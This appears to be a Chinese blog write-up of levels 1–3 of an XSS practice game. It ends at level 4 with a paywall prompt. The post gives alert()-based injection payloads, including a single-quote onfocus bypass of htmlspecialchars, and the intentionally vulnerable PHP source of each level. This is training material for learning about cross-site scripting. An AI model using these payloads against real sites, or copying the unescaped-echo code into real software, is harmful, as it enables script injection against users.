前言
话说自从网络安全修正法推出, 不敢轻易动国内的网站, 平时就打打靶场, 本文记录练习之路。
xss小游戏在线地址: http://test.ctf8.com/
xss小游戏一共二十关。
为了方便, 我把项目copy在本地。
为了方便实战效果和理解, 本文采用先通关再展示源码的排版方式。
Leve-1
有一个参数name:

再看看name在html源码中的位置:

可以看到位于h2标签中, 故可以直接注入xss攻击:
http://localhost/xss_games/level1.php
?name=<script>alert(1)</script>

点击确定自动location到下一关:

- 源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
Level-2
第二关随便输入一个搜索值:

观察在网页的生成位置:

发现输入的值在input标签中, 我们闭合input标签即可:
http://localhost/xss_games/level2.php
?keyword=hack"><script>alert(1)</script>

- 源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
Level-3
和上一题一样, 随意输入一个值来观察情况:


继续尝试闭合绕过:
http://localhost/xss_games/level3.php
?keyword=what"><script>alert(1)</script>
&submit=搜索

发现没有闭合出去, 可能是被转义或者编码过,
既然出不去, 那可以在input标签里加属性来xss:
http://localhost/xss_games/level3.php
?keyword=what" onfocus=alert(1)
&submit=搜索

发现还是不对....value值的双引号都没闭合出去。
这里不得其解, 看了下答案, 原来是源码中用了 htmlspecialchars()函数: 过滤一些特殊字符
- htmlspecialchars (string, quotestyle, character-set)
把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 ' (默认是不包括单引号的, 要打开)
< (小于) 成为 <
> (大于) 成为 >
其中, quotestyle参数如下:
| quotestyle | 可选。规定如何编码单引号和双引号。
|
所以我们用双引号闭合时, 双引号会被转义成HTML实体。
由于htmlspecialchars()函数默认状态是只过滤双引号的, "放过"了单引号, 所以可以用单引号来闭合他:

然后发现还多出一个单引号 (至于为什么, 源码部分会解释), 我们用 // 把它注释掉:
http://localhost/xss_games/level3.php
?keyword=hack' onfocus=alert(1)//
&submit=搜索

- 源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
看关键部分:
<input name=keyword value='".htmlspecialchars($str)."'>
可以看到, value的值被单引号闭合起来, 至于双引号, 是通过 . (php的字符串连接符)与处理过后的str连接的, 这样才得以在前端的网页中显示出如下效果:

所以实质上我们用单引号闭合就可以往input里加属性了 (类似sql注入), 最后尾部剩下的单引号记得注释掉。
Level-4
测试一下:

继续尝试绕过闭合:

最低0.47元/天 解锁文章
3772

被折叠的 条评论
为什么被折叠?



